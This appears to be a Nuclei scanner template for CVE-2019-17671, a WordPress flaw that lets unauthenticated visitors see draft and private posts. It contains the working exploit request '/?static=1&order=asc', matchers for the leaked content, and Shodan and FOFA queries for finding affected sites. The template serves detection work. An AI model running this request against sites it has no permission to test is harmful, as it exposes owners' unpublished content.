WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts

id: CVE-2019-17671

info:
  name: WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress before 5.2.4 contains an information disclosure caused by mishandling of the static query property, letting unauthenticated users view certain content, exploit requires no authentication.
  impact: |
    Unauthenticated users can view restricted content, leading to information disclosure.
  remediation: |
    Update to WordPress 5.2.4 or later.
  reference:
    - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-523-security-and-maintenance-release.html
    - https://core.trac.wordpress.org/changeset/46474
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17671
    - https://seclists.org/bugtraq/2020/Jan/8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-17671
    cwe-id: CWE-200
    epss-score: 0.36503
    epss-percentile: 0.98298
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"wordpress" http.html:"status-draft"
    fofa-query: body="Wordpress" && body="status-draft"
  tags: cve,cve2019,wp,wordpress,unauth,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/?static=1&order=asc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'type-page status-draft'
          - 'type-post status-draft'
        condition: or

      - type: regex
        part: body
        regex:
          - 'class="[^"]*entry-title[^"]*"[^>]*>[^<]{3,}'
          - 'WordPress ([0-4]\.|5\.[0-2]\.|5\.2\.[0-3])'
        condition: and

      - type: status
        status:
          - 200
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